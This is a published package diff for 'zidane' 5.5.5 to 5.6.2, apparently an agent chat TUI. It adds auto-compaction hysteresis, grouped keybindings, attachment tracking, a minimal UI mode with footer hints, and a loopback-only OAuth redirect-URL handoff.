zidane 5.5.5 → 5.6.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (71) hide show
  1. package/README.md +7 -1
  2. package/dist/{agent-CMAklak7.d.ts → agent-Dtnvs5ee.d.ts} +91 -2
  3. package/dist/agent-Dtnvs5ee.d.ts.map +1 -0
  4. package/dist/chat.d.ts +204 -15
  5. package/dist/chat.d.ts.map +1 -1
  6. package/dist/chat.js +3 -3
  7. package/dist/{errors-C5VSakmT.js → errors-DdZXnyXE.js} +38 -2
  8. package/dist/errors-DdZXnyXE.js.map +1 -0
  9. package/dist/{index-CF5QwBiz.d.ts → index-DHeHe04L.d.ts} +2 -2
  10. package/dist/{index-CF5QwBiz.d.ts.map → index-DHeHe04L.d.ts.map} +1 -1
  11. package/dist/{index-kroGomhj.d.ts → index-DX8De0nl.d.ts} +23 -2
  12. package/dist/index-DX8De0nl.d.ts.map +1 -0
  13. package/dist/index.d.ts +4 -4
  14. package/dist/index.js +10 -10
  15. package/dist/{interpolate-Cvjy8gpk.js → interpolate-j5V-wcAQ.js} +2 -2
  16. package/dist/{interpolate-Cvjy8gpk.js.map → interpolate-j5V-wcAQ.js.map} +1 -1
  17. package/dist/{login-B_kfoGMP.js → login-BOj03nVe.js} +5 -4
  18. package/dist/login-BOj03nVe.js.map +1 -0
  19. package/dist/{mcp-BE43Viwi.js → mcp-ngMS0S6N.js} +2 -2
  20. package/dist/{mcp-BE43Viwi.js.map → mcp-ngMS0S6N.js.map} +1 -1
  21. package/dist/mcp.d.ts +1 -1
  22. package/dist/mcp.js +1 -1
  23. package/dist/{messages-BBWakTN6.js → messages-B5k4DAXy.js} +2 -2
  24. package/dist/{messages-BBWakTN6.js.map → messages-B5k4DAXy.js.map} +1 -1
  25. package/dist/{presets-BDvBZuYI.js → presets-CTSij3yV.js} +2 -2
  26. package/dist/{presets-BDvBZuYI.js.map → presets-CTSij3yV.js.map} +1 -1
  27. package/dist/presets.d.ts +2 -2
  28. package/dist/presets.js +1 -1
  29. package/dist/{providers-CsUyN_FJ.js → providers-CaJE2ToS.js} +3 -3
  30. package/dist/{providers-CsUyN_FJ.js.map → providers-CaJE2ToS.js.map} +1 -1
  31. package/dist/providers.d.ts +1 -1
  32. package/dist/providers.js +2 -2
  33. package/dist/restate.d.ts +1 -1
  34. package/dist/session/sqlite.d.ts +1 -1
  35. package/dist/session/sqlite.d.ts.map +1 -1
  36. package/dist/session/sqlite.js +226 -51
  37. package/dist/session/sqlite.js.map +1 -1
  38. package/dist/{session-DzfRacU_.js → session-BoEW_wCR.js} +2 -2
  39. package/dist/{session-DzfRacU_.js.map → session-BoEW_wCR.js.map} +1 -1
  40. package/dist/session.d.ts +1 -1
  41. package/dist/session.js +2 -2
  42. package/dist/skills.d.ts +2 -2
  43. package/dist/skills.js +1 -1
  44. package/dist/{tools-Bbd0Ivwn.js → tools-CslsHpKb.js} +156 -16
  45. package/dist/tools-CslsHpKb.js.map +1 -0
  46. package/dist/tools.d.ts +2 -2
  47. package/dist/tools.js +1 -1
  48. package/dist/{transcript-anchors-C7CtKPPo.d.ts → transcript-anchors-CwoKNW6Y.d.ts} +74 -5
  49. package/dist/transcript-anchors-CwoKNW6Y.d.ts.map +1 -0
  50. package/dist/tui.d.ts +24 -5
  51. package/dist/tui.d.ts.map +1 -1
  52. package/dist/tui.js +1280 -333
  53. package/dist/tui.js.map +1 -1
  54. package/dist/{turn-operations-rYyU2Qyq.js → turn-operations-B8ySajUl.js} +687 -86
  55. package/dist/turn-operations-B8ySajUl.js.map +1 -0
  56. package/dist/types-oKPBdCmL.js.map +1 -1
  57. package/dist/types.d.ts +3 -3
  58. package/dist/types.js +2 -2
  59. package/docs/ARCHITECTURE.md +5 -2
  60. package/docs/CHAT.md +10 -3
  61. package/docs/RESTATE.md +190 -0
  62. package/docs/SKILL.md +27 -2
  63. package/docs/TUI.md +4 -3
  64. package/package.json +2 -1
  65. package/dist/agent-CMAklak7.d.ts.map +0 -1
  66. package/dist/errors-C5VSakmT.js.map +0 -1
  67. package/dist/index-kroGomhj.d.ts.map +0 -1
  68. package/dist/login-B_kfoGMP.js.map +0 -1
  69. package/dist/tools-Bbd0Ivwn.js.map +0 -1
  70. package/dist/transcript-anchors-C7CtKPPo.d.ts.map +0 -1
  71. package/dist/turn-operations-rYyU2Qyq.js.map +0 -1
@@ -1,17 +1,18 @@
1
- import { H as previewLine, R as fmtTokens, U as shortId, a as multiEdit, c as grep, d as resolveOldString, f as styleReplacementForVia, i as readFile$1, l as glob, n as createSpawnTool, o as listFiles, t as writeFile$1, u as edit, y as shell } from "./tools-Bbd0Ivwn.js";
2
- import { s as errorMessage } from "./errors-C5VSakmT.js";
1
+ import { H as previewLine, R as fmtTokens, U as shortId, a as multiEdit, c as grep, d as resolveOldString, f as styleReplacementForVia, i as readFile$1, l as glob, n as createSpawnTool, o as listFiles, t as writeFile$1, u as edit, y as shell } from "./tools-CslsHpKb.js";
2
+ import { c as errorMessage } from "./errors-DdZXnyXE.js";
3
3
  import { r as toolResultToText } from "./types-oKPBdCmL.js";
4
- import { r as normalizeMcpServers } from "./mcp-BE43Viwi.js";
5
- import { a as discoverSkills } from "./interpolate-Cvjy8gpk.js";
4
+ import { r as normalizeMcpServers } from "./mcp-ngMS0S6N.js";
5
+ import { a as discoverSkills } from "./interpolate-j5V-wcAQ.js";
6
6
  import { n as formatTokenUsage } from "./stats-Lc3zL3RM.js";
7
- import { n as definePreset, t as composePresets } from "./presets-BDvBZuYI.js";
8
- import { a as writeFileAtomic, i as anthropic, n as openai, r as cerebras, t as openrouter } from "./providers-CsUyN_FJ.js";
7
+ import { n as definePreset, t as composePresets } from "./presets-CTSij3yV.js";
8
+ import { a as writeFileAtomic, i as anthropic, n as openai, r as cerebras, t as openrouter } from "./providers-CaJE2ToS.js";
9
9
  import { createRequire } from "node:module";
10
10
  import { dirname, isAbsolute, join, posix, relative, resolve, sep } from "node:path";
11
11
  import { homedir, tmpdir } from "node:os";
12
12
  import { spawn } from "node:child_process";
13
13
  import { chmodSync, createReadStream, createWriteStream, existsSync, mkdirSync, mkdtempSync, readFileSync, realpathSync, renameSync, rmSync, statSync, writeFileSync } from "node:fs";
14
14
  import { readdir, stat, writeFile } from "node:fs/promises";
15
+ import { Buffer as Buffer$1 } from "node:buffer";
15
16
  import { getModel, getModels } from "@mariozechner/pi-ai";
16
17
  import { anthropicOAuthProvider, openaiCodexOAuthProvider } from "@mariozechner/pi-ai/oauth";
17
18
  import { createHash } from "node:crypto";
@@ -1416,6 +1417,19 @@ function detectAuth(dataDir, registry, env = process.env) {
1416
1417
  * No state. Same inputs → same answer.
1417
1418
  */
1418
1419
  /**
1420
+ * Default hysteresis floor for {@link shouldAutoCompact}. After a successful
1421
+ * compaction lands, the next compaction is suppressed until input usage
1422
+ * grows by at least this fraction of the effective context window beyond
1423
+ * the post-compact baseline.
1424
+ *
1425
+ * `0.1` = 10% of the window. Picked so the immediate post-compact bounce
1426
+ * (summary turn + restored attachments + re-emitted system prefix) never
1427
+ * re-fires the trigger by itself, but a meaningful chunk of new work
1428
+ * (one or two large tool reads) does. Tune via the predicate's
1429
+ * `minGrowthFraction` input if a host needs different ergonomics.
1430
+ */
1431
+ const AUTO_COMPACT_MIN_GROWTH_FRACTION = .1;
1432
+ /**
1419
1433
  * Decide whether auto-compaction should fire for the latest turn.
1420
1434
  *
1421
1435
  * Order of checks is deliberate: cheapest / most common skips first
@@ -1448,6 +1462,12 @@ function shouldAutoCompact(input) {
1448
1462
  kind: "skip",
1449
1463
  reason: "under-threshold"
1450
1464
  };
1465
+ if (typeof input.lastCompactedInputTokens === "number" && Number.isFinite(input.lastCompactedInputTokens) && input.lastCompactedInputTokens >= 0 && typeof input.minGrowthFraction === "number" && Number.isFinite(input.minGrowthFraction) && input.minGrowthFraction > 0) {
1466
+ if ((input.inputTokens - input.lastCompactedInputTokens) / effectiveWindow < input.minGrowthFraction) return {
1467
+ kind: "skip",
1468
+ reason: "cooldown"
1469
+ };
1470
+ }
1451
1471
  if (input.alreadyCompacting) return {
1452
1472
  kind: "skip",
1453
1473
  reason: "already-compacting"
@@ -2942,127 +2962,162 @@ const KEYBINDING_DEFS = [
2942
2962
  action: "openSettings",
2943
2963
  default: "ctrl+o",
2944
2964
  label: "settings",
2945
- description: "open the Settings modal (toggles, theme, keybindings)"
2965
+ description: "open the Settings modal (toggles, theme, keybindings)",
2966
+ group: "Global"
2946
2967
  },
2947
2968
  {
2948
2969
  action: "openSessionDetails",
2949
2970
  default: "ctrl+x",
2950
2971
  label: "session",
2951
- description: "open the session details modal (stats, export, delete, rename)"
2972
+ description: "open the session details modal (stats, export, delete, rename)",
2973
+ group: "Global"
2952
2974
  },
2953
2975
  {
2954
2976
  action: "openModelPicker",
2955
2977
  default: "ctrl+m",
2956
2978
  label: "model",
2957
- description: "open the cross-provider model picker"
2979
+ description: "open the cross-provider model picker",
2980
+ group: "Global"
2958
2981
  },
2959
2982
  {
2960
2983
  action: "openEffortPicker",
2961
2984
  default: "ctrl+l",
2962
2985
  label: "effort",
2963
- description: "open the reasoning-effort picker (when the active model supports it)"
2986
+ description: "open the reasoning-effort picker (when the active model supports it)",
2987
+ group: "Global"
2964
2988
  },
2965
2989
  {
2966
2990
  action: "openTodos",
2967
2991
  default: "ctrl+t",
2968
2992
  label: "todos",
2969
- description: "open the active run's todo list (the agent's `todowrite` checkpoints)"
2993
+ description: "open the active run's todo list (the agent's `todowrite` checkpoints)",
2994
+ group: "Global"
2995
+ },
2996
+ {
2997
+ action: "openKeybindings",
2998
+ default: "ctrl+y",
2999
+ label: "keybindings",
3000
+ description: "open the keybindings panel — list every shortcut and jump to the keybindings.json file",
3001
+ group: "Global"
2970
3002
  },
2971
3003
  {
2972
3004
  action: "cycleAgent",
2973
3005
  default: "shift+tab",
2974
3006
  label: "cycle agent",
2975
- description: "cycle to the next agent profile (when multiple profiles are registered)"
3007
+ description: "cycle to the next agent profile (when multiple profiles are registered)",
3008
+ group: "Global"
2976
3009
  },
2977
3010
  {
2978
3011
  action: "enterSelectTurnMode",
2979
3012
  default: "ctrl+s",
2980
3013
  label: "messages",
2981
- description: "enter select-turn mode to navigate previous messages"
3014
+ description: "enter select-turn mode to navigate previous messages",
3015
+ group: "Global"
2982
3016
  },
2983
3017
  {
2984
3018
  action: "cancelToolCall",
2985
3019
  default: "ctrl+k",
2986
3020
  label: "cancel tool",
2987
- description: "open the in-flight tool picker to cancel a single tool call without aborting the run (esc still aborts the whole run)"
3021
+ description: "open the in-flight tool picker to cancel a single tool call without aborting the run (esc still aborts the whole run)",
3022
+ group: "Global"
3023
+ },
3024
+ {
3025
+ action: "changeCwd",
3026
+ default: "ctrl+g",
3027
+ label: "cwd",
3028
+ description: "open the directory picker to change the working directory",
3029
+ group: "Global"
2988
3030
  },
2989
3031
  {
2990
3032
  action: "enterQueueSelection",
2991
3033
  default: "",
2992
3034
  label: "select queue",
2993
- description: "move focus from the prompt textarea into the type-ahead queue box (also: ↑ on an empty prompt)"
3035
+ description: "move focus from the prompt textarea into the type-ahead queue box (also: ↑ on an empty prompt)",
3036
+ group: "Message queue"
2994
3037
  },
2995
3038
  {
2996
3039
  action: "pushQueuedMessage",
2997
3040
  default: "ctrl+return",
2998
3041
  label: "push",
2999
- description: "steer the selected queued message into the live run (delivered between tool calls)"
3042
+ description: "steer the selected queued message into the live run (delivered between tool calls)",
3043
+ group: "Message queue"
3000
3044
  },
3001
3045
  {
3002
3046
  action: "dropQueuedMessage",
3003
3047
  default: "backspace",
3004
3048
  label: "drop",
3005
- description: "remove the selected queued message — exits back to the prompt when the queue empties (the big \"remove\" key works everywhere: backspace on Win/Linux, the laptop key labeled \"delete\" on Mac, which sends backspace)"
3049
+ description: "remove the selected queued message — exits back to the prompt when the queue empties (the big \"remove\" key works everywhere: backspace on Win/Linux, the laptop key labeled \"delete\" on Mac, which sends backspace)",
3050
+ group: "Message queue"
3006
3051
  },
3007
3052
  {
3008
3053
  action: "turnFork",
3009
3054
  default: "f",
3010
3055
  label: "fork",
3011
- description: "fork the session at the selected turn (two-press confirm)"
3056
+ description: "fork the session at the selected turn (two-press confirm)",
3057
+ group: "Turn details"
3012
3058
  },
3013
3059
  {
3014
3060
  action: "turnDelete",
3015
3061
  default: "d",
3016
3062
  label: "delete",
3017
- description: "delete the selected turn (two-press confirm)"
3063
+ description: "delete the selected turn (two-press confirm)",
3064
+ group: "Turn details"
3018
3065
  },
3019
3066
  {
3020
3067
  action: "turnCopy",
3021
3068
  default: "c",
3022
3069
  label: "copy",
3023
- description: "copy the selected turn content to the clipboard (OSC 52)"
3070
+ description: "copy the selected turn content to the clipboard (OSC 52)",
3071
+ group: "Turn details"
3024
3072
  },
3025
3073
  {
3026
3074
  action: "turnEdit",
3027
3075
  default: "e",
3028
3076
  label: "edit",
3029
- description: "edit the text content of the selected turn"
3077
+ description: "edit the text content of the selected turn",
3078
+ group: "Turn details"
3030
3079
  },
3031
3080
  {
3032
3081
  action: "sessionDelete",
3033
3082
  default: "d",
3034
3083
  label: "delete",
3035
- description: "delete the entire session (two-press confirm)"
3084
+ description: "delete the entire session (two-press confirm)",
3085
+ group: "Session details"
3036
3086
  },
3037
3087
  {
3038
3088
  action: "sessionCopyId",
3039
3089
  default: "c",
3040
3090
  label: "copy id",
3041
- description: "copy the full session id to the clipboard (OSC 52)"
3091
+ description: "copy the full session id to the clipboard (OSC 52)",
3092
+ group: "Session details"
3042
3093
  },
3043
3094
  {
3044
3095
  action: "sessionGenerateTitle",
3045
3096
  default: "g",
3046
3097
  label: "generate title",
3047
- description: "generate a title for the session via the active provider/model"
3098
+ description: "generate a title for the session via the active provider/model",
3099
+ group: "Session details"
3048
3100
  },
3049
3101
  {
3050
3102
  action: "sessionExportMarkdown",
3051
3103
  default: "e",
3052
3104
  label: "export md",
3053
- description: "export the session as Markdown under .{prefix}/sessions/"
3105
+ description: "export the session as Markdown under .{prefix}/sessions/",
3106
+ group: "Session details"
3054
3107
  },
3055
3108
  {
3056
3109
  action: "sessionExportJson",
3057
3110
  default: "j",
3058
3111
  label: "export json",
3059
- description: "export the session as JSON under .{prefix}/sessions/"
3112
+ description: "export the session as JSON under .{prefix}/sessions/",
3113
+ group: "Session details"
3060
3114
  },
3061
3115
  {
3062
3116
  action: "sessionCompact",
3063
3117
  default: "k",
3064
3118
  label: "compact",
3065
- description: "compact older turns via an LLM summary (model still sees everything from the boundary down)"
3119
+ description: "compact older turns via an LLM summary (model still sees everything from the boundary down)",
3120
+ group: "Session details"
3066
3121
  }
3067
3122
  ];
3068
3123
  /** Index by action for O(1) lookup of label / description / default. */
@@ -3162,6 +3217,39 @@ function matchesBinding(event, spec) {
3162
3217
  if ((event.name ?? "").toLowerCase() !== parsed.name) return false;
3163
3218
  return true;
3164
3219
  }
3220
+ /** Verbose key names → compact single-cell glyphs used by hint rows. */
3221
+ const KEY_GLYPHS = {
3222
+ up: "↑",
3223
+ down: "↓",
3224
+ left: "←",
3225
+ right: "→",
3226
+ return: "↵",
3227
+ enter: "↵",
3228
+ delete: "⌫",
3229
+ backspace: "⌫",
3230
+ escape: "esc",
3231
+ space: "␣",
3232
+ tab: "⇥"
3233
+ };
3234
+ /**
3235
+ * Render a binding spec (`"ctrl+return"`, `"backspace"`, `"delete"`) as a
3236
+ * compact display string the user recognizes at a glance. Substitutes
3237
+ * arrow / enter / backspace glyphs for their verbose names so the hint
3238
+ * row stays narrow; modifier names + plain keys pass through unchanged.
3239
+ *
3240
+ * Empty / missing specs return an empty string — callers decide whether
3241
+ * to render a placeholder (e.g. `'—'` for an unbound action in the
3242
+ * keybindings panel) or hide the surface entirely (e.g. hint rows that
3243
+ * fall back to a different chord when the binding is empty).
3244
+ */
3245
+ function formatBindingForDisplay(spec) {
3246
+ if (!spec) return "";
3247
+ const segments = spec.toLowerCase().split("+");
3248
+ const key = segments.pop() ?? "";
3249
+ const modifiers = segments.join("+");
3250
+ const glyph = KEY_GLYPHS[key] ?? key;
3251
+ return modifiers ? `${modifiers}+${glyph}` : glyph;
3252
+ }
3165
3253
  /**
3166
3254
  * Merge a partial map of user overrides into the defaults. Unknown
3167
3255
  * action keys are dropped (a future TUI version may have retired the
@@ -4281,10 +4369,27 @@ function eventsFromTurns(turns, runs = []) {
4281
4369
  kind: "separator",
4282
4370
  text: ""
4283
4371
  });
4372
+ const attachments = [];
4373
+ for (const sibling of turn.content) if (sibling.type === "image") {
4374
+ const raw = typeof sibling.data === "string" ? Buffer$1.from(sibling.data, "base64") : sibling.data;
4375
+ attachments.push({
4376
+ name: sibling.name ?? "image",
4377
+ mediaType: sibling.mediaType,
4378
+ size: raw.length
4379
+ });
4380
+ } else if (sibling !== block && sibling.type === "text") {
4381
+ const m = sibling.text.match(/^<attachment\s+(?:name="([^"]+)"\s*)?(?:media_type="([^"]+)")?/);
4382
+ if (m) attachments.push({
4383
+ name: m[1] ?? "attachment",
4384
+ mediaType: m[2] ?? "text/plain",
4385
+ size: sibling.text.length
4386
+ });
4387
+ }
4284
4388
  events.push({
4285
4389
  kind: "user-prompt",
4286
4390
  text: block.text,
4287
- turnId: turn.id
4391
+ turnId: turn.id,
4392
+ ...attachments.length > 0 ? { attachments } : {}
4288
4393
  });
4289
4394
  }
4290
4395
  } else if (block.type === "tool_result") {
@@ -5929,7 +6034,8 @@ const DEFAULT_SETTINGS = {
5929
6034
  smoothStreaming: true,
5930
6035
  showTodoIndicator: true,
5931
6036
  showThrobber: false,
5932
- checkForUpdates: true
6037
+ checkForUpdates: true,
6038
+ uiMode: "full"
5933
6039
  };
5934
6040
  /**
5935
6041
  * Hard-clamp a `targetFps` value to a safe range before handing it to
@@ -6125,6 +6231,18 @@ const SETTINGS_CHOICES = [
6125
6231
  label: t.label
6126
6232
  }))
6127
6233
  },
6234
+ {
6235
+ key: "uiMode",
6236
+ label: "UI mode",
6237
+ description: "chat-screen chrome density — full advertises every shortcut, minimal keeps only agent / model / keybindings + `@` · `/` triggers (rest reachable via `ctrl+y`)",
6238
+ options: [{
6239
+ value: "full",
6240
+ label: "Full"
6241
+ }, {
6242
+ value: "minimal",
6243
+ label: "Minimal"
6244
+ }]
6245
+ },
6128
6246
  {
6129
6247
  key: "targetFps",
6130
6248
  label: "Renderer fps",
@@ -6392,6 +6510,177 @@ function toEntries(paths, source, maxFiles) {
6392
6510
  return out;
6393
6511
  }
6394
6512
  //#endregion
6513
+ //#region src/chat/footer-hints.ts
6514
+ /**
6515
+ * Build the footer's shortcut hints for the current screen. On the chat
6516
+ * screen the model id rides next to its `ctrl+m` shortcut and the agent
6517
+ * label rides next to `shift+tab`, each in its accent color — the bar
6518
+ * doubles as the status display without needing separate badges. When
6519
+ * the active model exposes reasoning, the `ctrl+m` hint grows a
6520
+ * secondary `/n` chord with the current effort label, surfacing the
6521
+ * effort picker as a discoverable, in-place affordance.
6522
+ */
6523
+ function buildHints(options) {
6524
+ const { screen, busy, pending, pendingInteractionLive, pendingInteractionResumed, currentSession, hasMultipleAgents, uiMode, modelLabel, modelColor, effortLabel, effortColor, effortKeyColor, agentLabel, agentColor, keybindings, inFlightToolCount, activeSkillCount, skillsChipColor, updateHint } = options;
6525
+ if (pending) return [
6526
+ {
6527
+ key: "↑↓",
6528
+ label: "navigate"
6529
+ },
6530
+ {
6531
+ key: "↵",
6532
+ label: "select"
6533
+ },
6534
+ {
6535
+ key: "esc",
6536
+ label: "abort run"
6537
+ }
6538
+ ];
6539
+ if (pendingInteractionLive) return [
6540
+ {
6541
+ key: "↑↓",
6542
+ label: "navigate"
6543
+ },
6544
+ {
6545
+ key: "↵",
6546
+ label: "select"
6547
+ },
6548
+ {
6549
+ key: "esc",
6550
+ label: "abort run"
6551
+ }
6552
+ ];
6553
+ if (pendingInteractionResumed) return [
6554
+ {
6555
+ key: "↑↓",
6556
+ label: "navigate"
6557
+ },
6558
+ {
6559
+ key: "↵",
6560
+ label: "select"
6561
+ },
6562
+ {
6563
+ key: "esc",
6564
+ label: "leave for later"
6565
+ }
6566
+ ];
6567
+ if (busy) {
6568
+ const baseBusyHints = [];
6569
+ if (inFlightToolCount > 0) baseBusyHints.push({
6570
+ key: keybindings.cancelToolCall,
6571
+ label: inFlightToolCount === 1 ? "cancel" : `cancel (${inFlightToolCount})`
6572
+ });
6573
+ baseBusyHints.push({
6574
+ key: "esc",
6575
+ label: "abort"
6576
+ });
6577
+ return baseBusyHints;
6578
+ }
6579
+ if (screen === "auth") return [
6580
+ {
6581
+ key: "↑↓",
6582
+ label: "navigate"
6583
+ },
6584
+ {
6585
+ key: "↵",
6586
+ label: "select"
6587
+ },
6588
+ {
6589
+ key: "esc",
6590
+ label: "exit"
6591
+ }
6592
+ ];
6593
+ if (screen === "sessions") return [
6594
+ {
6595
+ key: "↑↓",
6596
+ label: "navigate"
6597
+ },
6598
+ {
6599
+ key: "↵",
6600
+ label: "open"
6601
+ },
6602
+ {
6603
+ key: keybindings.openSessionDetails,
6604
+ label: "session"
6605
+ },
6606
+ {
6607
+ key: keybindings.openSettings,
6608
+ label: "settings"
6609
+ },
6610
+ {
6611
+ key: "esc",
6612
+ label: currentSession ? "back" : "exit"
6613
+ }
6614
+ ];
6615
+ const modelHint = modelLabel ? {
6616
+ key: keybindings.openModelPicker,
6617
+ label: modelLabel,
6618
+ labelColor: modelColor,
6619
+ ...effortLabel ? { extra: {
6620
+ key: shortChord(keybindings.openEffortPicker),
6621
+ keyColor: effortKeyColor,
6622
+ label: effortLabel,
6623
+ labelColor: effortColor
6624
+ } } : {}
6625
+ } : null;
6626
+ const skillsChip = activeSkillCount > 0 ? {
6627
+ key: "✦",
6628
+ keyColor: skillsChipColor,
6629
+ label: activeSkillCount === 1 ? "1 skill" : `${activeSkillCount} skills`,
6630
+ labelColor: skillsChipColor
6631
+ } : null;
6632
+ const cancelTaskChip = inFlightToolCount > 0 ? {
6633
+ key: keybindings.cancelToolCall,
6634
+ label: inFlightToolCount === 1 ? "cancel task" : `cancel task (${inFlightToolCount})`
6635
+ } : null;
6636
+ if (uiMode === "minimal") return [
6637
+ ...hasMultipleAgents ? [{
6638
+ key: keybindings.cycleAgent,
6639
+ label: agentLabel,
6640
+ labelColor: agentColor
6641
+ }] : [],
6642
+ ...modelHint ? [modelHint] : [],
6643
+ {
6644
+ key: keybindings.openKeybindings,
6645
+ label: "keybindings"
6646
+ }
6647
+ ];
6648
+ return [
6649
+ ...hasMultipleAgents ? [{
6650
+ key: keybindings.cycleAgent,
6651
+ label: agentLabel,
6652
+ labelColor: agentColor
6653
+ }] : [],
6654
+ ...modelHint ? [modelHint] : [],
6655
+ ...skillsChip ? [skillsChip] : [],
6656
+ ...cancelTaskChip ? [cancelTaskChip] : [],
6657
+ ...currentSession ? [{
6658
+ key: keybindings.openSessionDetails,
6659
+ label: "session"
6660
+ }] : [],
6661
+ {
6662
+ key: keybindings.openSettings,
6663
+ label: "settings"
6664
+ },
6665
+ {
6666
+ key: "esc",
6667
+ label: "sessions"
6668
+ },
6669
+ ...updateHint ? [updateHint] : []
6670
+ ];
6671
+ }
6672
+ /**
6673
+ * Shorten a binding spec for display as a "chord continuation" — the
6674
+ * `/n` after `ctrl+m model` in the chat footer. We only strip the
6675
+ * `ctrl+` prefix so user-customized chords (`alt+n`, `meta+shift+n`)
6676
+ * still render in full. Falls back to the verbatim spec when no
6677
+ * `ctrl+` prefix is found, which keeps the visual contract honest:
6678
+ * the rendered key always matches the bound trigger.
6679
+ */
6680
+ function shortChord(spec) {
6681
+ return spec.startsWith("ctrl+") ? `/${spec.slice(5)}` : spec;
6682
+ }
6683
+ //#endregion
6395
6684
  //#region src/chat/generate-title.ts
6396
6685
  /** Hard cap on the result length. Anything longer is truncated client-side. */
6397
6686
  const TITLE_MAX_CHARS = 60;
@@ -6527,7 +6816,14 @@ function hintsLength(hints) {
6527
6816
  function hintLength(h) {
6528
6817
  return h.key.length + 1 + h.label.length + (h.extra ? h.extra.key.length + 1 + h.extra.label.length : 0);
6529
6818
  }
6530
- /** Stable empty list so callers can compare by reference. */
6819
+ /**
6820
+ * Stable empty list so callers can compare by reference. Exported so
6821
+ * any consumer that needs to feed "no primary hints" into the same
6822
+ * `clipHintsToWidth` / `renderHintSpans` pipeline (e.g. the TUI's
6823
+ * minimal UI mode, where the prompt overlay shows only `@` / `/`
6824
+ * triggers) reuses the same frozen array instead of allocating a new
6825
+ * one each render.
6826
+ */
6531
6827
  const EMPTY_HINTS = Object.freeze([]);
6532
6828
  /**
6533
6829
  * Return the longest prefix of `hints` whose rendered width fits within
@@ -7566,6 +7862,10 @@ function buildSearchCorpus(provider, model) {
7566
7862
  function supportsOAuth(descriptor) {
7567
7863
  return descriptor.oauthProvider !== void 0;
7568
7864
  }
7865
+ /** True when the provider's OAuth flow needs the user to paste a code back into the TUI (no loopback callback). */
7866
+ function oauthUsesManualCodePaste(descriptor) {
7867
+ return descriptor.oauthProvider?.usesCallbackServer === false;
7868
+ }
7569
7869
  /**
7570
7870
  * Run the OAuth login flow for a provider.
7571
7871
  *
@@ -7580,9 +7880,9 @@ async function runOAuthLogin(descriptor, options) {
7580
7880
  options.onUrl(info.url, info.instructions);
7581
7881
  tryOpenBrowser(info.url);
7582
7882
  },
7583
- onPrompt: async () => {
7584
- if (!options.onCodeRequest) throw new Error("OAuth flow requires manual code input but no handler is wired.");
7585
- return options.onCodeRequest();
7883
+ onPrompt: async (prompt) => {
7884
+ if (!options.onPrompt) throw new Error(`OAuth provider "${descriptor.label}" requested user input ("${prompt.message}") but no onPrompt handler is wired.`);
7885
+ return options.onPrompt(prompt);
7586
7886
  },
7587
7887
  onProgress: options.onProgress,
7588
7888
  signal: options.signal
@@ -7590,6 +7890,91 @@ async function runOAuthLogin(descriptor, options) {
7590
7890
  return descriptor.oauthProvider.login(callbacks);
7591
7891
  }
7592
7892
  //#endregion
7893
+ //#region src/chat/oauth-redirect.ts
7894
+ /**
7895
+ * Manual OAuth redirect-URL handoff.
7896
+ *
7897
+ * Users who run zidane over SSH (or behind a proxy / firewall that blocks
7898
+ * loopback) can't have the local browser hit the in-process callback server.
7899
+ * They CAN, however, copy the URL their browser was redirected to —
7900
+ * `http://127.0.0.1:<port>/callback?code=...&state=...` — and paste it back
7901
+ * into the TUI.
7902
+ *
7903
+ * The trick: that URL IS the callback our local server is listening on. We
7904
+ * just `fetch()` it ourselves. The server runs in the same process; the
7905
+ * request hits its handler exactly as if a real browser had arrived, the
7906
+ * OAuth promise (`waitForCode` for pi-ai providers, `startOAuthCallback` for
7907
+ * MCP) resolves through the normal happy path, and the upstream flow
7908
+ * continues uninterrupted. No new code path inside the OAuth state machine.
7909
+ *
7910
+ * Defense in depth: we reject anything that isn't a loopback URL — fetching
7911
+ * an arbitrary user-pasted URL from inside the agent process would be a
7912
+ * trivial SSRF.
7913
+ */
7914
+ const LOOPBACK_HOSTS = new Set([
7915
+ "127.0.0.1",
7916
+ "localhost",
7917
+ "::1",
7918
+ "[::1]"
7919
+ ]);
7920
+ /**
7921
+ * Treat `pasted` as a callback-URL paste. Validates it's a loopback URL,
7922
+ * fires a GET, returns the status.
7923
+ *
7924
+ * Throws when:
7925
+ * - `pasted` doesn't parse as a URL.
7926
+ * - The URL host isn't loopback (rejects SSRF).
7927
+ * - The fetch errors out (network, timeout).
7928
+ *
7929
+ * Returns success/failure for non-2xx responses; the caller decides whether
7930
+ * a 4xx is fatal (state mismatch is a 400 the user can retry from).
7931
+ */
7932
+ async function fetchOAuthRedirect(pasted, options = {}) {
7933
+ const trimmed = pasted.trim();
7934
+ if (!trimmed) throw new Error("Paste the redirect URL from your browser.");
7935
+ let url;
7936
+ try {
7937
+ url = new URL(trimmed);
7938
+ } catch {
7939
+ throw new Error("That doesn't look like a URL. Paste the full address from your browser.");
7940
+ }
7941
+ const host = url.hostname.replace(/^\[|\]$/g, "");
7942
+ if (!LOOPBACK_HOSTS.has(host)) throw new Error(`Expected a loopback URL (127.0.0.1 / localhost), got "${url.hostname}". The browser should have redirected to a localhost address.`);
7943
+ const timeoutMs = options.timeoutMs ?? 5e3;
7944
+ const ac = new AbortController();
7945
+ const timer = setTimeout(() => ac.abort(), timeoutMs);
7946
+ options.signal?.addEventListener("abort", () => ac.abort(), { once: true });
7947
+ let response;
7948
+ try {
7949
+ response = await fetch(url.toString(), { signal: ac.signal });
7950
+ } catch (err) {
7951
+ if (err.name === "AbortError") throw new Error("No response from the local callback server — was the login already cancelled?");
7952
+ throw new Error(`Could not reach the local callback server: ${err.message}`);
7953
+ } finally {
7954
+ clearTimeout(timer);
7955
+ }
7956
+ const bodyText = await response.text().catch(() => "");
7957
+ return {
7958
+ status: response.status,
7959
+ message: extractMessage(bodyText)
7960
+ };
7961
+ }
7962
+ /**
7963
+ * Pick the most useful one-line message out of the callback server's HTML
7964
+ * response. pi-ai uses `<h1>` for the heading; the MCP callback uses
7965
+ * a leading `<p>`. We try both, then fall back to a stripped snippet.
7966
+ */
7967
+ function extractMessage(html) {
7968
+ if (!html) return void 0;
7969
+ const h1 = /<h1[^>]*>([\s\S]*?)<\/h1>/i.exec(html)?.[1];
7970
+ if (h1) return stripTags(h1).trim() || void 0;
7971
+ const p = /<p[^>]*>([\s\S]*?)<\/p>/i.exec(html)?.[1];
7972
+ if (p) return stripTags(p).trim() || void 0;
7973
+ }
7974
+ function stripTags(s) {
7975
+ return s.replace(/<[^>]*>/g, "").replace(/&amp;/g, "&").replace(/&lt;/g, "<").replace(/&gt;/g, ">").replace(/&quot;/g, "\"").replace(/&#39;/g, "'");
7976
+ }
7977
+ //#endregion
7593
7978
  //#region src/chat/path-display.ts
7594
7979
  /**
7595
7980
